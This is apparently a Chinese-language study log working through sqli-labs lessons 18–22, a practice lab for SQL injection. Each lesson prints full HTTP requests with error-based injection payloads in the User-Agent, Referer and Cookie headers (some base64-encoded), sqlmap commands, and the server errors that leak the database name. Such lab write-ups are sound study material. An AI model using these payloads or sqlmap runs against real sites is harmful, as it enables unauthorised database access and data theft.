POST /Less-18/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',1,extractvalue(1,concat('~',database())))# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-18/Content-Type: application/x-www-form-urlencodedContent-Length: 34Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin&passwd=1&submit=Submit

输出,拿到当前数据库 security:

1
<br>Your IP ADDRESS is: 127.0.0.1<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',1,extractvalue(1,concat('~',database())))#</font><br>XPATH syntax error: '~security'<br><br><img src="../images/flag.jpg"  /><br>

后面爆字段值同 less-11,改一下 payload 即可

# 总结

看源码,就像考试作弊,心怀愧疚~~(跃跃欲试)~~

  1. level 参数:

1 > 探测等级: --level 5

–level 5 指的是需要执行的测试等级

一共有 5 个等级(1-5) 不加 level 时,默认是 1

5 级包含的 payload 最多,会自动破解出 cookie、XFF 等头部注入,相对应他的速度也比较慢。

level=2 http cookie 会测试

level=3 http user-agent/referer 头会测试

在不能确定哪个 payload 或参数为注入点时,建议使用高的 level 值。


# Less-19

date:2020-11-22 10:01:30

# 过程

# sqlmap

bp 抓包右键 copy to file 生成 19.txt

1
python sqlmap.py -r 19.txt --level=5 --risk=3 --dbs --batch

后续同 less-11

# 手工注入

看标题,referer 注入,看来后面的题目都是头注入了

打开 hackbar,点击 post data,输入正确的用户名密码,提示我的 referer 是啥啥啥,再次确定就是 referer 头注入

不知道为啥 hackbar 同时搞 postdata 和 referer,referer 没有起作用,上 bp:

1
POST /Less-19/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-19/'Content-Type: application/x-www-form-urlencodedContent-Length: 34Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin&passwd=1&submit=Submit

输出:

1
<br>Your IP ADDRESS is: 127.0.0.1<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your Referer is: http://www.sqli-labs.com/Less-19/'</font><br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1')' at line 1<br><br><img src="../images/flag.jpg" /><br>

又是 insert 操作啦,利用报错注入 extractvalue () 拿当前数据库名

1
POST /Less-19/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-19/', extractvalue(1,concat('~',database()))) # Content-Type: application/x-www-form-urlencodedContent-Length: 35Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin&passwd=1&submit=Submit 

根据输出,拿到当前数据库名 security:

1
<br>Your IP ADDRESS is: 127.0.0.1<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your Referer is: http://www.sqli-labs.com/Less-19/', extractvalue(1,concat('~',database()))) #</font><br>XPATH syntax error: '~security'<br><br><img src="../images/flag.jpg" /><br>

后续操作同 less-11

# 总结

sqlmap 新操作,感觉它不太行了?应该是我不太行,去百度 sqlmap 的使用姿势


# Less-20

date:2020-11-22 10:17:02

# 过程

# sqlmap

bp 抓包右键 copy to file 生成 20.txt

1
python sqlmap.py -r 22.txt --level=5 --risk=3 --dbs --batch

后续同 less-11

# 手工注入

先用 admin\1 登录

题目给了我的 cookie:

1
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0YOUR IP ADDRESS IS : 127.0.0.1DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIREYOUR COOKIE : uname = admin and expires: Sun 22 Nov 2020 - 11:22:50Your Login name:adminYour Password:1Your ID:8

那就 cookie 注入呗,bp 抓包

1
GET /Less-20/index.php HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-20/index.phpDNT: 1Connection: closeCookie: uname=adminUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

cookie 后单引号开战

1
Cookie: uname=admin'

输出:

1
>Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1

后面的 sql 橘子拿到了,就开始常规姿势闭合,拿 database ()

payload:

1
Cookie: uname=admin' and extractvalue(1,concat('~',database())) # 

输出,拿到库名 security:

1
Issue with your mysql: XPATH syntax error: '~security'

拿字段内容同 less-11

# 总结

报错注入真好用

前面写了题,后面就越写越快了,开心


# Less-21

date:2020-11-22 10:29:18

# 过程

# sqlmap

bp 抓包右键 copy to file 生成 21.txt

1
python sqlmap.py -r 22.txt --level=5 --risk=3 --dbs --batch

后续同 less-11

# 手工注入

老规矩,输入 17 关重置后的账户密码 admin/1

题目还是 cookie 注入:

1
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0YOUR IP ADDRESS IS : 127.0.0.1DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIREYOUR COOKIE : uname = YWRtaW4= and expires: Sun 22 Nov 2020 - 11:29:55Your Login name:adminYour Password:1Your ID:8

看标题是复杂版的…

啊这,先试试引号,竟然不报错了!

有趣

看了下题目 uname 那里发生了改变,抓包发现 uname 是 YWRtaW4,改成 admin 试试

1
Cookie: uname=admin"

输出

1
>Issue with your mysql: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation '='

说是编码集的问题,好叭我去百度闯关秘籍了

对 cookie 的值进行了 base64 的处理,其他和 20 关一样

也就是说在注入的时候需要把注入语句搞一下编码,打开 hackbar,打开 base64 编码,输入 admin’

bp 发包设置 cookie

1
Cookie: uname=YWRtaW4n

输出:

1
>Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') LIMIT 0,1' at line 1

拿到后面的句子,开始闭合注入,不知为何我转义后的报错注入代码放进 payload 没有反应,换一个加密工具就好了

用报错注入拿数据

1
明文:admin') and extractvalue(1,concat(',',database())) # base64转义:YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCcsJyxkYXRhYmFzZSgpKSkgIyA=设置cookie:Cookie: uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCcsJyxkYXRhYmFzZSgpKSkgIyA=

输出:

1
>YOUR COOKIE : uname = YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCcsJyxkYXRhYmFzZSgpKSkgIyA= and expires: Sun 22 Nov 2020 - 12:30:51<br></font>Issue with your mysql: XPATH syntax error: ',security'

拿到数据库名,拿别的数据同 less-11

# 总结

base64 使用场景及原理

base64 最早就是用来邮件传输协议中的,原因是邮件传输协议只支持 ascii 字符传递,因此如果要传输二进制文件,如:图片、视频是无法实现的。

因此 base64 就可以用来将二进制文件内容编码为只包含 ascii 字符的内容。

我们知道在计算机中任何数据都是按 ascii 码存储的,而 ascii 码的 128~255 之间的值是不可见字符。而在网络上交换数据时,比如说从 A 地传到 B 地,往往要经过多个路由设备,由于不同的设备对字符的处理方式有一些不同,这样那些不可见字符就有可能被处理错误,这是不利于传输的。所以就先把数据先做一个 Base64 编码,统统变成可见字符,这样出错的可能性就大降低了。


# Less-22

date:2020-11-22 11:35:53

# 过程

# sqlmap

bp 抓包右键 copy to file 生成 22.txt

1
python sqlmap.py -r 22.txt --level=5 --risk=3 --dbs --batch

后续同 less-11

# 手工注入

还是用 admin\1 登录,显示 cookie,那就还是 cookie 注入

1
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0YOUR IP ADDRESS IS : 127.0.0.1DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIREYOUR COOKIE : uname = YWRtaW4= and expires: Sun 22 Nov 2020 - 12:37:26Your Login name:adminYour Password:1Your ID:8

看见 uname = YWRtaW4= ,那就应该还是用 base64 加密

使用上一题的 payload

1
明文:admin') and extractvalue(1,concat(',',database())) # base64:YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCcsJyxkYXRhYmFzZSgpKSkgIyA=

发现没有报错显示,那么说明没有闭合成功,看标题是双引号闭合,那就改一下引号

1
明文:admin") and extractvalue(1,concat(',',database())) # base64:YWRtaW4iKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCcsJyxkYXRhYmFzZSgpKSkgIyA=

输出:

1
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') and extractvalue(1,concat(',',database())) # " LIMIT 0,1' at line 1

哪到后面的 sql 语句,发现只需要闭合一个双引号,不需要),开干

1
明文:admin" and extractvalue(1,concat(',',database())) # base64:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoJywnLGRhdGFiYXNlKCkpKSAjIA==

输出:

1
Issue with your mysql: XPATH syntax error: ',security'

拿到数据库名,拿别的数据同 less-11

# 总结

我发现 sqlmap 跑得有一点慢